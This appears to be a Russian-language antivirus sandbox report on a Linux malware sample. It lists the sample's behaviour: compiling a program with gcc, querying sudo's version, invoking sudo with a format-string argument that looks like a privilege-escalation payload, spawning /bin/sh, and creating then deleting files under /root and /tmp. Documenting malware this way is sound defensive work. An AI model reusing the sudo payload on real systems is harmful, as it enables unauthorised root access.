Техническая информация
Вредоносные функции:
Компилирует программу из исходных кодов:
- /usr/bin/gcc e.c -o e
Запускает процессы:
- sh -c /usr/bin/sudo -V
- /usr/bin/sudo -V
- sh -c /usr/bin/gcc e.c -o e
- /usr/bin/sudo %20$08n %*482$ %*2850$ %1073741824$ -D9 -A
- e
- /bin/sh
Выполняет операции с файловой системой:
Модифицирует права доступа к файлам:
- /root/e
- /root/e.sh
Создает или модифицирует файлы:
- /root/e.c
- /tmp/ccZn0gyo.s
- /tmp/cc7lZBvC.o
- /tmp/ccxzdWlR.res
- /tmp/ccTiEiuC.c
- /tmp/ccc3dwFR.o
- /tmp/ccK5tkR6.ld
- /tmp/ccxBPv3l.le
- /root/e
- /root/e.sh
Удаляет файлы:
- /tmp/ccK5tkR6.ld
- /tmp/ccxBPv3l.le
- /tmp/ccTiEiuC.c
- /tmp/ccc3dwFR.o
- /tmp/ccxzdWlR.res
- /tmp/cc7lZBvC.o
- /tmp/ccZn0gyo.s
- /root/e
- /root/e.c
- /root/e.sh
Прочее:
Собирает информацию об оперативной памяти
